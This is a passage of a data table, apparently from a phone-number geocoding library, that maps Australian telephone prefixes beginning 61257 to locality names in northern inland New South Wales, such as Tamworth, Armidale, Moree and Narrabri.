'61256987':{'en': 'Glenreagh'},
'61256988':{'en': 'Glenreagh'},
'61256989':{'en': 'Glenreagh'},
'61256990':{'en': 'Mullumbimby'},
'61256991':{'en': 'Bonalbo'},
'61256992':{'en': 'Bonalbo'},
'61256993':{'en': 'Rappville'},
'61256994':{'en': 'Rappville'},
'61256995':{'en': 'Tabulam'},
'61256996':{'en': 'Tabulam'},
'61256997':{'en': 'Hernani'},
'61256998':{'en': 'Hernani'},
'61256999':{'en': 'Lismore'},
'61257000':{'en': 'Bohena'},
'612570001':{'en': 'Aberfoyle'},
'612570007':{'en': 'Armidale'},
'61257001':{'en': 'Burren Junction'},
'612570011':{'en': 'Baan Baa'},
'612570019':{'en': 'Banoon'},
'61257002':{'en': 'Cuttabri'},
'612570021':{'en': 'Cuttabri/Barraba/Cuttabri/Cuttabri/Cuttabri/Cuttabri/Barwick'},
'612570022':{'en': 'Cuttabri/Barraba/Cuttabri/Cuttabri/Cuttabri/Cuttabri/Barwick'},
'612570024':{'en': 'Barraba'},
'612570029':{'en': 'Barwick'},
'61257003':{'en': 'Narrabri'},
'612570034':{'en': 'Bellata'},
'612570040':{'en': 'Pilliga'},
'612570041':{'en': 'Pilliga/Ben Lomond/Pilliga/Pilliga/Tamworth/Pilliga/Bendemeer'},
'612570042':{'en': 'Pilliga/Ben Lomond/Pilliga/Pilliga/Tamworth/Pilliga/Bendemeer'},
'612570043':{'en': 'Pilliga'},
'612570044':{'en': 'Ben Lomond'},
'612570045':{'en': 'Pilliga'},
'612570046':{'en': 'Pilliga'},
'612570047':{'en': 'Tamworth'},
'612570048':{'en': 'Pilliga'},
'612570049':{'en': 'Bendemeer'},
'61257005':{'en': 'Rowena'},
'612570051':{'en': 'Rowena/Armidale/Rowena/Bingara'},
'612570052':{'en': 'Rowena/Armidale/Rowena/Bingara'},
'612570057':{'en': 'Armidale'},
'612570059':{'en': 'Bingara'},
'61257006':{'en': 'Spring Plains'},
'612570061':{'en': 'Spring Plains/Boggabri/Spring Plains/Spring Plains/Spring Plains/Spring Plains/Bohena'},
'612570062':{'en': 'Spring Plains/Boggabri/Spring Plains/Spring Plains/Spring Plains/Spring Plains/Bohena'},
'612570064':{'en': 'Boggabri'},
'612570069':{'en': 'Bohena'},
'61257007':{'en': 'Wee Waa'},
'612570074':{'en': 'Boomi'},
'612570077':{'en': 'Boorolong'},
'61257008':{'en': 'Yarrie Lake'},
'612570081':{'en': 'Breeza'},
'612570087':{'en': 'Bundarra'},
'61257009':{'en': 'Bendemeer'},
'612570095':{'en': 'Bundella'},
'612570098':{'en': 'Bunnor'},
'612570099':{'en': 'Burren Junction'},
'61257010':{'en': 'Currabubula'},
'612570105':{'en': 'Careunga'},
'612570108':{'en': 'Caroda'},
'612570109':{'en': 'Collarenebri'},
'61257011':{'en': 'Limbri'},
'612570115':{'en': 'Coolatai'},
'612570118':{'en': 'Copeton Dam'},
'612570119':{'en': 'Craigleigh'},
'61257012':{'en': 'Nundle'},
'612570124':{'en': 'Nundle/Croppa Creek/Curlewis'},
'612570125':{'en': 'Nundle/Croppa Creek/Curlewis'},
'612570128':{'en': 'Croppa Creek'},
'612570129':{'en': 'Curlewis'},
'61257013':{'en': 'Ogunbil'},
'612570135':{'en': 'Currabubula'},
'612570138':{'en': 'Cuttabri'},
'612570139':{'en': 'Deepwater'},
'612570140':{'en': 'Somerton'},
'612570141':{'en': 'Somerton'},
'612570142':{'en': 'Somerton'},
'612570143':{'en': 'Somerton'},
'612570144':{'en': 'Somerton/Delungra/Drake'},
'612570145':{'en': 'Somerton/Delungra/Drake'},
'612570146':{'en': 'Somerton/Delungra/Drake'},
'612570147':{'en': 'Somerton'},
'612570148':{'en': 'Delungra'},
'612570149':{'en': 'Drake'},
'61257015':{'en': 'Tamworth'},
'612570157':{'en': 'Ebor'},
'612570158':{'en': 'Elcombe'},
'612570159':{'en': 'Emmaville'},
'61257016':{'en': 'Aberfoyle'},
'61257017':{'en': 'Armidale'},
'61257018':{'en': 'Boorolong'},
'61257019':{'en': 'Ebor'},
'61257020':{'en': 'Guyra'},
'61257021':{'en': 'Ingleba'},
'61257022':{'en': 'Kingstown'},
'61257023':{'en': 'Marple'},
'61257024':{'en': 'Moona Plains'},
'61257025':{'en': 'Nowendoc'},
'61257026':{'en': 'Oban'},
'61257027':{'en': 'Tenterden'},
'61257028':{'en': 'Uralla'},
'61257029':{'en': 'Walcha'},
'61257030':{'en': 'Walcha Road'},
'61257031':{'en': 'Wollomombi'},
'61257032':{'en': 'Yarrowitch'},
'61257033':{'en': 'Banoon'},
'61257034':{'en': 'Barraba'},
'61257035':{'en': 'Caroda'},
'61257036':{'en': 'Halls Creek'},
'61257037':{'en': 'Manilla'},
'61257038':{'en': 'Plumthorpe'},
'61257039':{'en': 'Upper Horton'},
'61257040':{'en': 'Barwick'},
'61257041':{'en': 'Ben Lomond'},
'61257042':{'en': 'Deepwater'},
'61257043':{'en': 'Drake'},
'61257044':{'en': 'Emmaville'},
'61257045':{'en': 'Glen Elgin'},
'61257046':{'en': 'Glen Innes'},
'61257047':{'en': 'Glencoe'},
'61257048':{'en': 'Pinkett'},
'61257049':{'en': 'Rocky Creek'},
'61257050':{'en': 'Sandy Flat'},
'61257051':{'en': 'Tenterfield'},
'61257052':{'en': 'Wellingrove'},
'61257053':{'en': 'Boggabri'},
'61257054':{'en': 'Breeza'},
'61257055':{'en': 'Bundella'},
'61257056':{'en': 'Curlewis'},
'61257057':{'en': 'Goolhi'},
'61257058':{'en': 'Gunnedah'},
'61257059':{'en': 'Kelvin'},
'61257060':{'en': 'Mullaley'},
'61257061':{'en': 'Pine Ridge'},
'61257062':{'en': 'Quirindi'},
'61257063':{'en': 'Tambar Springs'},
'61257064':{'en': 'Willow Tree'},
'61257065':{'en': 'Bingara'},
'61257066':{'en': 'Bundarra'},
'61257067':{'en': 'Coolatai'},
'61257068':{'en': 'Copeton Dam'},
'61257069':{'en': 'Craigleigh'},
'61257070':{'en': 'Delungra'},
'61257071':{'en': 'Elcombe'},
'61257072':{'en': 'Frazers Creek'},
'61257073':{'en': 'Graman'},
'61257074':{'en': 'Gunyerwarildi'},
'61257075':{'en': 'Inverell'},
'61257076':{'en': 'Nullamanna'},
'61257077':{'en': 'Oakey Creek'},
'61257078':{'en': 'Tingha'},
'61257079':{'en': 'Warialda'},
'61257080':{'en': 'Boomi'},
'61257081':{'en': 'Bunnor'},
'61257082':{'en': 'Careunga'},
'61257083':{'en': 'Collarenebri'},
'61257084':{'en': 'Croppa Creek'},
'61257085':{'en': 'Garah'},
'61257086':{'en': 'Gundabloui'},
'61257087':{'en': 'Gurley'},
'61257088':{'en': 'Mirriadool'},
'61257089':{'en': 'Moree'},
'61257090':{'en': 'Mungindi'},
'61257091':{'en': 'Pallamallawa'},
'61257092':{'en': 'Weemelah'},
'61257093':{'en': 'Wenna'},
'61257094':{'en': 'Baan Baa'},
'61257095':{'en': 'Bellata'},
'61257096':{'en': 'Bohena'},
'61257097':{'en': 'Burren Junction'},
'61257098':{'en': 'Cuttabri'},
'61257099':{'en': 'Narrabri'},
'61257100':{'en': 'Pilliga'},
'61257101':{'en': 'Rowena'},
'61257102':{'en': 'Spring Plains'},
'61257103':{'en': 'Wee Waa'},
'61257104':{'en': 'Yarrie Lake'},
'61257105':{'en': 'Bendemeer'},
'61257106':{'en': 'Currabubula'},
'61257107':{'en': 'Limbri'},
'61257108':{'en': 'Nundle'},
'61257109':{'en': 'Ogunbil'},
'61257110':{'en': 'Somerton'},
'61257111':{'en': 'Tamworth'},
'61257112':{'en': 'Bundarra'},
'612571125':{'en': 'Frazers Creek'},
'612571128':{'en': 'Garah'},
'612571129':{'en': 'Glen Elgin'},
'61257113':{'en': 'Armidale'},
'61257114':{'en': 'Armidale'},
'61257115':{'en': 'Armidale'},
'61257116':{'en': 'Ogunbil'},
'61257117':{'en': 'Ogunbil'},
'61257118':{'en': 'Limbri'},
'61257119':{'en': 'Limbri'},
'6125712':{'en': 'Tamworth'},
'61257127':{'en': 'Nundle'},
'61257128':{'en': 'Nundle'},
'61257130':{'en': 'Armidale'},
'61257131':{'en': 'Uralla'},
'61257132':{'en': 'Gunnedah'},
'61257133':{'en': 'Inverell'},
'61257134':{'en': 'Moree'},
'61257135':{'en': 'Tamworth'},
'61257136':{'en': 'Armidale'},
'61257137':{'en': 'Armidale'},
'61257138':{'en': 'Guyra'},
'61257139':{'en': 'Guyra'},
'61257140':{'en': 'Uralla'},
'61257141':{'en': 'Uralla'},
'61257142':{'en': 'Barwick'},
'61257143':{'en': 'Barwick'},
'61257144':{'en': 'Ben Lomond'},
'61257145':{'en': 'Ben Lomond'},
'61257146':{'en': 'Bendemeer'},
'61257147':{'en': 'Bendemeer'},
'61257148':{'en': 'Emmaville'},
'61257149':{'en': 'Emmaville'},
'61257150':{'en': 'Glen Innes'},
'61257151':{'en': 'Glen Innes'},
'61257152':{'en': 'Glencoe'},
'61257153':{'en': 'Glencoe'},
'61257154':{'en': 'Breeza'},
'61257155':{'en': 'Breeza'},
'61257156':{'en': 'Gunnedah'},
'61257157':{'en': 'Gunnedah'},
'61257158':{'en': 'Kelvin'},
'61257159':{'en': 'Kelvin'},
'61257160':{'en': 'Quirindi'},
'61257161':{'en': 'Quirindi'},
'61257162':{'en': 'Willow Tree'},
'61257163':{'en': 'Willow Tree'},
'61257164':{'en': 'Currabubula'},
'61257165':{'en': 'Currabubula'},
'61257166':{'en': 'Croppa Creek'},
'61257167':{'en': 'Croppa Creek'},
'61257168':{'en': 'Gurley'},
'61257169':{'en': 'Gurley'},
'61257170':{'en': 'Moree'},
'61257171':{'en': 'Moree'},
'61257172':{'en': 'Yarrie Lake'},
'61257173':{'en': 'Yarrie Lake'},
'61257174':{'en': 'Wee Waa'},
'61257175':{'en': 'Wee Waa'},
'61257176':{'en': 'Narrabri'},
'61257177':{'en': 'Narrabri'},
'61257178':{'en': 'Bohena'},
'61257179':{'en': 'Bohena'},
'61257180':{'en': 'Bellata'},
'61257181':{'en': 'Bellata'},
'61257182':{'en': 'Somerton'},
'61257183':{'en': 'Somerton'},
'61257184':{'en': 'Careunga'},
'61257185':{'en': 'Careunga'},
'61257186':{'en': 'Deepwater'},
'61257187':{'en': 'Deepwater'},
'61257188':{'en': 'Moree'},
'61257189':{'en': 'Narrabri'},
'61257190':{'en': 'Tamworth'},
'61257191':{'en': 'Tamworth'},
'61257192':{'en': 'Bundarra'},
'61257193':{'en': 'Bundarra'},
'61257194':{'en': 'Bingara'},
'61257195':{'en': 'Bingara'},
'61257196':{'en': 'Coolatai'},
'61257197':{'en': 'Coolatai'},
'61257198':{'en': 'Copeton Dam'},
'61257199':{'en': 'Copeton Dam'},
'61257200':{'en': 'Craigleigh'},
'61257201':{'en': 'Craigleigh'},
'61257202':{'en': 'Delungra'},
'61257203':{'en': 'Delungra'},
'61257204':{'en': 'Elcombe'},
'61257205':{'en': 'Elcombe'},
'61257206':{'en': 'Frazers Creek'},
'61257207':{'en': 'Frazers Creek'},
'61257208':{'en': 'Graman'},
'61257209':{'en': 'Graman'},
'61257210':{'en': 'Gunyerwarildi'},
'61257211':{'en': 'Gunyerwarildi'},
'61257212':{'en': 'Inverell'},
'61257213':{'en': 'Inverell'},
'61257214':{'en': 'Nullamanna'},
'61257215':{'en': 'Nullamanna'},
'61257216':{'en': 'Oakey Creek'},
'61257217':{'en': 'Oakey Creek'},
'61257218':{'en': 'Tingha'},
'61257219':{'en': 'Tingha'},
'61257220':{'en': 'Warialda'},
'61257221':{'en': 'Warialda'},
'61257222':{'en': 'Ingleba'},
'61257223':{'en': 'Ingleba'},
'61257224':{'en': 'Moona Plains'},
'61257225':{'en': 'Moona Plains'},
'61257226':{'en': 'Walcha'},
'61257227':{'en': 'Walcha'},
'61257228':{'en': 'Walcha Road'},
'61257229':{'en': 'Walcha Road'},
'61257230':{'en': 'Banoon'},
'61257231':{'en': 'Banoon'},
'61257232':{'en': 'Barraba'},
'61257233':{'en': 'Barraba'},
'61257234':{'en': 'Caroda'},
'61257235':{'en': 'Caroda'},
'61257236':{'en': 'Halls Creek'},
'61257237':{'en': 'Halls Creek'},
'61257238':{'en': 'Manilla'},
'61257239':{'en': 'Manilla'},
'61257240':{'en': 'Plumthorpe'},
'61257241':{'en': 'Plumthorpe'},
'61257242':{'en': 'Upper Horton'},
'61257243':{'en': 'Upper Horton'},
'61257244':{'en': 'Boomi'},
'61257245':{'en': 'Boomi'},
'61257246':{'en': 'Bunnor'},
'61257247':{'en': 'Bunnor'},
'61257248':{'en': 'Garah'},
'61257249':{'en': 'Garah'},
'61257250':{'en': 'Mirriadool'},
'61257251':{'en': 'Mirriadool'},
'61257252':{'en': 'Pallamallawa'},
'61257253':{'en': 'Pallamallawa'},
'61257254':{'en': 'Baan Baa'},
'61257255':{'en': 'Baan Baa'},
'61257256':{'en': 'Burren Junction'},
'61257257':{'en': 'Burren Junction'},
'61257258':{'en': 'Cuttabri'},
'61257259':{'en': 'Cuttabri'},
'61257260':{'en': 'Rowena'},
'61257261':{'en': 'Rowena'},
'61257262':{'en': 'Spring Plains'},
'61257263':{'en': 'Spring Plains'},
'61257264':{'en': 'Boggabri'},
'61257265':{'en': 'Boggabri'},
'61257266':{'en': 'Bundella'},
'61257267':{'en': 'Bundella'},
'61257268':{'en': 'Curlewis'},
'61257269':{'en': 'Curlewis'},
'61257270':{'en': 'Goolhi'},
'61257271':{'en': 'Goolhi'},
'61257272':{'en': 'Mullaley'},
'61257273':{'en': 'Mullaley'},
'61257274':{'en': 'Pine Ridge'},
'61257275':{'en': 'Pine Ridge'},
'61257276':{'en': 'Tambar Springs'},
'61257277':{'en': 'Tambar Springs'},
'61257278':{'en': 'Aberfoyle'},
'61257279':{'en': 'Aberfoyle'},
'61257280':{'en': 'Boorolong'},
'61257281':{'en': 'Boorolong'},
'61257282':{'en': 'Ebor'},
'61257283':{'en': 'Ebor'},
'61257284':{'en': 'Tenterden'},
'61257285':{'en': 'Tenterden'},
'61257286':{'en': 'Kingstown'},
'61257287':{'en': 'Kingstown'},
'61257288':{'en': 'Marple'},
'61257289':{'en': 'Marple'},
'61257290':{'en': 'Oban'},
'61257291':{'en': 'Oban'},
'61257292':{'en': 'Wollomombi'},
'61257293':{'en': 'Wollomombi'},
'61257294':{'en': 'Drake'},
'61257295':{'en': 'Drake'},
'61257296':{'en': 'Glen Elgin'},
'61257297':{'en': 'Glen Elgin'},
'61257298':{'en': 'Pinkett'},
'61257299':{'en': 'Pinkett'},
'61257300':{'en': 'Sandy Flat'},
'61257301':{'en': 'Sandy Flat'},
'61257302':{'en': 'Tenterfield'},
'61257303':{'en': 'Tenterfield'},
'61257304':{'en': 'Wellingrove'},
'61257305':{'en': 'Wellingrove'},
'61257306':{'en': 'Collarenebri'},
'61257307':{'en': 'Collarenebri'},
'61257308':{'en': 'Gundabloui'},
'61257309':{'en': 'Gundabloui'},
'61257310':{'en': 'Mungindi'},
'61257311':{'en': 'Mungindi'},
'61257312':{'en': 'Nowendoc'},
'61257313':{'en': 'Nowendoc'},
'61257314':{'en': 'Weemelah'},
'61257315':{'en': 'Weemelah'},
'61257316':{'en': 'Wenna'},
'61257317':{'en': 'Wenna'},
'61257318':{'en': 'Tamworth'},
'61257319':{'en': 'Tamworth'},
'61257320':{'en': 'Tamworth'},
'61257321':{'en': 'Inverell'},
'61257322':{'en': 'Armidale'},
'61257323':{'en': 'Tamworth'},
'61257324':{'en': 'Armidale'},
'61257325':{'en': 'Tamworth'},
'61257326':{'en': 'Inverell'},
'61257327':{'en': 'Armidale'},
'61257328':{'en': 'Tamworth'},
'61257329':{'en': 'Wollomombi'},
'61257330':{'en': 'Guyra'},
'61257331':{'en': 'Glen Innes'},
'61257332':{'en': 'Moree'},
'61257333':{'en': 'Narrabri'},
'61257334':{'en': 'Tamworth'},
'61257335':{'en': 'Armidale'},
'61257336':{'en': 'Glen Elgin'},
'61257337':{'en': 'Gunnedah'},
'61257338':{'en': 'Narrabri'},
'612573390':{'en': 'Glen Innes'},
'612573391':{'en': 'Glencoe'},
'612573392':{'en': 'Goolhi'},
'612573393':{'en': 'Graman'},
'612573394':{'en': 'Gundabloui'},
'612573395':{'en': 'Gunnedah'},
'612573396':{'en': 'Gunyerwarildi'},
'612573397':{'en': 'Gurley'},
'612573398':{'en': 'Guyra'},
'612573399':{'en': 'Halls Creek'},
'612573400':{'en': 'Ingleba'},
'612573401':{'en': 'Inverell'},
'612573402':{'en': 'Kelvin'},
'612573403':{'en': 'Kingstown'},
'612573404':{'en': 'Limbri'},
'612573405':{'en': 'Manilla'},
'612573406':{'en': 'Marple'},
'612573407':{'en': 'Mirriadool'},
'612573408':{'en': 'Moona Plains'},
'612573409':{'en': 'Moree'},
'612573410':{'en': 'Mullaley'},
'612573411':{'en': 'Mungindi'},
'612573412':{'en': 'Narrabri'},
'612573413':{'en': 'Nowendoc'},
'612573414':{'en': 'Nullamanna'},
'612573415':{'en': 'Nundle'},
'612573416':{'en': 'Oakey Creek'},
'612573417':{'en': 'Oban'},
'612573418':{'en': 'Ogunbil'},
'612573419':{'en': 'Pallamallawa'},
'612573420':{'en': 'Pilliga'},
'612573421':{'en': 'Pine Ridge'},
'612573422':{'en': 'Pinkett'},
'612573423':{'en': 'Plumthorpe'},
'612573424':{'en': 'Quirindi'},
'612573425':{'en': 'Rocky Creek'},
'612573426':{'en': 'Rowena'},
'612573427':{'en': 'Sandy Flat'},
'612573428':{'en': 'Somerton'},
'612573429':{'en': 'Spring Plains'},
'612573430':{'en': 'Tambar Springs'},
'612573431':{'en': 'Tamworth'},
'612573432':{'en': 'Tenterden'},
'612573433':{'en': 'Tenterfield'},
'612573434':{'en': 'Tingha'},
'612573435':{'en': 'Upper Horton'},
'612573436':{'en': 'Uralla'},
'612573437':{'en': 'Walcha'},
'612573438':{'en': 'Walcha Road'},
'612573439':{'en': 'Warialda'},
'612573440':{'en': 'Wee Waa'},
'612573441':{'en': 'Weemelah'},
'612573442':{'en': 'Wellingrove'},
'612573443':{'en': 'Wenna'},
'612573444':{'en': 'Willow Tree'},
'612573445':{'en': 'Wollomombi'},
'612573446':{'en': 'Yarrie Lake'},
'612573447':{'en': 'Yarrowitch'},
'612573448':{'en': 'Aberfoyle'},
'612573449':{'en': 'Armidale'},
'61257345':{'en': 'Inverell'},
'61257346':{'en': 'Barraba'},
'61257347':{'en': 'Barwick'},
'61257348':{'en': 'Bellata'},
'61257349':{'en': 'Ben Lomond'},
'61257350':{'en': 'Bendemeer'},
'61257351':{'en': 'Bingara'},
'61257352':{'en': 'Boggabri'},
'61257353':{'en': 'Bohena'},
'61257354':{'en': 'Boorolong'},
'61257355':{'en': 'Breeza'},
'61257356':{'en': 'Bundarra'},
'61257357':{'en': 'Bundella'},
'61257358':{'en': 'Burren Junction'},
'61257359':{'en': 'Coolatai'},
'61257360':{'en': 'Craigleigh'},
'61257361':{'en': 'Currabubula'},
'61257362':{'en': 'Cuttabri'},
'61257363':{'en': 'Deepwater'},
'61257364':{'en': 'Delungra'},
'61257365':{'en': 'Ebor'},
'61257366':{'en': 'Elcombe'},
'61257367':{'en': 'Emmaville'},
'61257368':{'en': 'Frazers Creek'},
'61257369':{'en': 'Glen Elgin'},
'61257370':{'en': 'Glencoe'},
'61257371':{'en': 'Goolhi'},
'61257372':{'en': 'Graman'},
'61257373':{'en': 'Gunyerwarildi'},
'61257374':{'en': 'Guyra'},
'61257375':{'en': 'Halls Creek'},
'61257376':{'en': 'Ingleba'},
'61257377':{'en': 'Kelvin'},
'61257378':{'en': 'Limbri'},
'61257379':{'en': 'Manilla'},
'61257380':{'en': 'Marple'},
'61257381':{'en': 'Moona Plains'},
'61257382':{'en': 'Mullaley'},
'61257383':{'en': 'Nowendoc'},
'61257384':{'en': 'Nullamanna'},
'61257385':{'en': 'Nundle'},
'61257386':{'en': 'Oakey Creek'},
'61257387':{'en': 'Ogunbil'},
'61257388':{'en': 'Pilliga'},
'61257389':{'en': 'Pine Ridge'},
'61257390':{'en': 'Pinkett'},
'61257391':{'en': 'Plumthorpe'},
'61257392':{'en': 'Rowena'},
'61257393':{'en': 'Sandy Flat'},
'61257394':{'en': 'Somerton'},
'61257395':{'en': 'Spring Plains'},
'61257396':{'en': 'Tambar Springs'},
'61257397':{'en': 'Tenterden'},
'61257398':{'en': 'Upper Horton'},
'61257399':{'en': 'Uralla'},
'61257400':{'en': 'Walcha Road'},
'61257401':{'en': 'Wellingrove'},
'61257402':{'en': 'Willow Tree'},
'61257403':{'en': 'Wollomombi'},
'61257404':{'en': 'Yarrie Lake'},
'61257405':{'en': 'Yarrowitch'},
'61257406':{'en': 'Quirindi'},
'61257407':{'en': 'Aberfoyle'},
'61257408':{'en': 'Moree'},
'612574090':{'en': 'Baan Baa'},
'612574091':{'en': 'Banoon'},
'612574092':{'en': 'Barraba'},
'612574093':{'en': 'Barwick'},
'612574094':{'en': 'Bellata'},
'612574095':{'en': 'Ben Lomond'},
'612574096':{'en': 'Bendemeer'},
'612574097':{'en': 'Bingara'},
'612574098':{'en': 'Boggabri'},
'612574099':{'en': 'Bohena'},
'612574100':{'en': 'Boomi'},
'612574101':{'en': 'Boorolong'},
'612574102':{'en': 'Breeza'},
'612574103':{'en': 'Bundarra'},
'612574104':{'en': 'Bundella'},
'612574105':{'en': 'Bunnor'},
'612574106':{'en': 'Burren Junction'},
'612574107':{'en': 'Careunga'},
'612574108':{'en': 'Caroda'},
'612574109':{'en': 'Collarenebri'},
'612574110':{'en': 'Coolatai'},
'612574111':{'en': 'Copeton Dam'},
'612574112':{'en': 'Craigleigh'},
'612574113':{'en': 'Croppa Creek'},
'612574114':{'en': 'Curlewis'},
'612574115':{'en': 'Currabubula'},
'612574116':{'en': 'Cuttabri'},
'612574117':{'en': 'Deepwater'},
'612574118':{'en': 'Delungra'},
'612574119':{'en': 'Drake'},
'612574120':{'en': 'Ebor'},
'612574121':{'en': 'Elcombe'},
'612574122':{'en': 'Emmaville'},
'612574123':{'en': 'Frazers Creek'},
'612574124':{'en': 'Garah'},
'612574125':{'en': 'Glen Elgin'},
'612574126':{'en': 'Glen Innes'},
'612574127':{'en': 'Glencoe'},
'612574128':{'en': 'Goolhi'},
'612574129':{'en': 'Graman'},
'612574130':{'en': 'Gundabloui'},
'612574131':{'en': 'Gunnedah'},
'612574132':{'en': 'Gunyerwarildi'},
'612574133':{'en': 'Gurley'},
'612574134':{'en': 'Guyra'},
'612574135':{'en': 'Halls Creek'},
'612574136':{'en': 'Ingleba'},
'612574137':{'en': 'Inverell'},
'612574138':{'en': 'Kelvin'},
'612574139':{'en': 'Kingstown'},
'612574140':{'en': 'Limbri'},
'612574141':{'en': 'Manilla'},
'612574142':{'en': 'Marple'},
'612574143':{'en': 'Mirriadool'},
'612574144':{'en': 'Moona Plains'},
'612574145':{'en': 'Moree'},
'612574146':{'en': 'Mullaley'},
'612574147':{'en': 'Mungindi'},
'612574148':{'en': 'Narrabri'},
'612574149':{'en': 'Nowendoc'},
'612574150':{'en': 'Nullamanna'},
'612574151':{'en': 'Nundle'},
'612574152':{'en': 'Oakey Creek'},
'612574153':{'en': 'Oban'},
'612574154':{'en': 'Ogunbil'},
'612574155':{'en': 'Pallamallawa'},
'612574156':{'en': 'Pilliga'},
'612574157':{'en': 'Pine Ridge'},
'612574158':{'en': 'Pinkett'},
'612574159':{'en': 'Plumthorpe'},
'612574160':{'en': 'Quirindi'},
'612574161':{'en': 'Rocky Creek'},
'612574162':{'en': 'Rowena'},
'612574163':{'en': 'Sandy Flat'},
'612574164':{'en': 'Somerton'},
'612574165':{'en': 'Spring Plains'},
'612574166':{'en': 'Tambar Springs'},
'612574167':{'en': 'Tamworth'},
'612574168':{'en': 'Tenterden'},
'612574169':{'en': 'Tenterfield'},
'612574170':{'en': 'Tingha'},
'612574171':{'en': 'Upper Horton'},
'612574172':{'en': 'Uralla'},
'612574173':{'en': 'Walcha'},
'612574174':{'en': 'Walcha Road'},
'612574175':{'en': 'Warialda'},
'612574176':{'en': 'Wee Waa'},
'612574177':{'en': 'Weemelah'},
'612574178':{'en': 'Wellingrove'},
'612574179':{'en': 'Wenna'},
'612574180':{'en': 'Willow Tree'},
'612574181':{'en': 'Wollomombi'},
'612574182':{'en': 'Yarrie Lake'},
'612574183':{'en': 'Yarrowitch'},
'612574184':{'en': 'Aberfoyle'},
'612574185':{'en': 'Armidale'},
'612574186':{'en': 'Baan Baa'},
'612574187':{'en': 'Banoon'},
'612574188':{'en': 'Barraba'},
'612574189':{'en': 'Barwick'},
'61257419':{'en': 'Inverell'},
'612574200':{'en': 'Bellata'},
'612574201':{'en': 'Ben Lomond'},
'612574202':{'en': 'Bendemeer'},
'612574203':{'en': 'Bingara'},
'612574204':{'en': 'Boggabri'},
'612574205':{'en': 'Bohena'},
'612574206':{'en': 'Boomi'},
'612574207':{'en': 'Boorolong'},
'612574208':{'en': 'Breeza'},
'612574209':{'en': 'Bundarra'},
'612574210':{'en': 'Bundella'},
'612574211':{'en': 'Bunnor'},
'612574212':{'en': 'Burren Junction'},
'612574213':{'en': 'Careunga'},
'612574214':{'en': 'Caroda'},
'612574215':{'en': 'Collarenebri'},
'612574216':{'en': 'Coolatai'},
'612574217':{'en': 'Copeton Dam'},
'612574218':{'en': 'Craigleigh'},
'612574219':{'en': 'Croppa Creek'},
'612574220':{'en': 'Curlewis'},
'612574221':{'en': 'Currabubula'},
'612574222':{'en': 'Cuttabri'},
'612574223':{'en': 'Deepwater'},
'612574224':{'en': 'Delungra'},
'612574225':{'en': 'Drake'},
'612574226':{'en': 'Ebor'},
'612574227':{'en': 'Elcombe'},
'612574228':{'en': 'Emmaville'},
'612574229':{'en': 'Frazers Creek'},
'612574230':{'en': 'Garah'},
'612574231':{'en': 'Glen Elgin'},
'612574232':{'en': 'Glen Innes'},
'612574233':{'en': 'Glencoe'},
'612574234':{'en': 'Goolhi'},
'612574235':{'en': 'Graman'},
'612574236':{'en': 'Gundabloui'},
'612574237':{'en': 'Gunnedah'},
'612574238':{'en': 'Gunyerwarildi'},
'612574239':{'en': 'Gurley'},
'612574240':{'en': 'Guyra'},
'612574241':{'en': 'Halls Creek'},
'612574242':{'en': 'Ingleba'},
'612574243':{'en': 'Inverell'},
'612574244':{'en': 'Kelvin'},
'612574245':{'en': 'Kingstown'},
'612574246':{'en': 'Limbri'},
'612574247':{'en': 'Manilla'},
'612574248':{'en': 'Marple'},
'612574249':{'en': 'Mirriadool'},
'612574250':{'en': 'Moona Plains'},
'612574251':{'en': 'Moree'},
'612574252':{'en': 'Mullaley'},
'612574253':{'en': 'Mungindi'},
'612574254':{'en': 'Narrabri'},
'612574255':{'en': 'Nowendoc'},
'612574256':{'en': 'Nullamanna'},
'612574257':{'en': 'Nundle'},
'612574258':{'en': 'Oakey Creek'},
'612574259':{'en': 'Oban'},
'612574260':{'en': 'Ogunbil'},
'612574261':{'en': 'Pallamallawa'},
'612574262':{'en': 'Pilliga'},
'612574263':{'en': 'Pine Ridge'},
'612574264':{'en': 'Pinkett'},
'612574265':{'en': 'Plumthorpe'},
'612574266':{'en': 'Quirindi'},
'612574267':{'en': 'Rocky Creek'},
'612574268':{'en': 'Rowena'},
'612574269':{'en': 'Sandy Flat'},
'612574270':{'en': 'Somerton'},
'612574271':{'en': 'Spring Plains'},
'612574272':{'en': 'Tambar Springs'},
'612574273':{'en': 'Tamworth'},
'612574274':{'en': 'Tenterden'},
'612574275':{'en': 'Tenterfield'},
'612574276':{'en': 'Tingha'},
'612574277':{'en': 'Upper Horton'},
'612574278':{'en': 'Uralla'},
'612574279':{'en': 'Walcha'},
'612574280':{'en': 'Walcha Road'},
'612574281':{'en': 'Warialda'},
'612574282':{'en': 'Wee Waa'},
'612574283':{'en': 'Weemelah'},
'612574284':{'en': 'Wellingrove'},
'612574285':{'en': 'Wenna'},
'612574286':{'en': 'Willow Tree'},
'612574287':{'en': 'Wollomombi'},
'612574288':{'en': 'Yarrie Lake'},
'612574289':{'en': 'Yarrowitch'},
'61257429':{'en': 'Nundle'},
'61257430':{'en': 'Armidale'},
'61257431':{'en': 'Armidale'},
'61257432':{'en': 'Tamworth'},
'61257433':{'en': 'Tenterfield'},
'61257434':{'en': 'Quirindi'},
'61257435':{'en': 'Gunnedah'},
'61257436':{'en': 'Gunnedah'},
'61257437':{'en': 'Gunnedah'},
'612574380':{'en': 'Aberfoyle'},
'612574381':{'en': 'Armidale'},
'612574382':{'en': 'Baan Baa'},
'612574383':{'en': 'Banoon'},
'612574384':{'en': 'Barraba'},
'612574385':{'en': 'Barwick'},
'612574386':{'en': 'Aberfoyle'},
'612574387':{'en': 'Armidale'},
'612574388':{'en': 'Baan Baa'},
'612574389':{'en': 'Banoon'},
'612574390':{'en': 'Barraba'},
'612574391':{'en': 'Barwick'},
'612574392':{'en': 'Bellata'},
'612574393':{'en': 'Ben Lomond'},
'612574394':{'en': 'Bendemeer'},
'612574395':{'en': 'Bingara'},
'612574396':{'en': 'Boggabri'},
'612574397':{'en': 'Bohena'},
'612574398':{'en': 'Boomi'},
'612574399':{'en': 'Boorolong'},
'612574400':{'en': 'Breeza'},
'612574401':{'en': 'Bundarra'},
'612574402':{'en': 'Bundella'},
'612574403':{'en': 'Bunnor'},
'612574404':{'en': 'Burren Junction'},
'612574405':{'en': 'Careunga'},
'612574406':{'en': 'Caroda'},
'612574407':{'en': 'Collarenebri'},
'612574408':{'en': 'Coolatai'},
'612574409':{'en': 'Copeton Dam'},
'612574410':{'en': 'Craigleigh'},
'612574411':{'en': 'Croppa Creek'},
'612574412':{'en': 'Curlewis'},
'612574413':{'en': 'Currabubula'},
'612574414':{'en': 'Cuttabri'},
'612574415':{'en': 'Deepwater'},
'612574416':{'en': 'Delungra'},
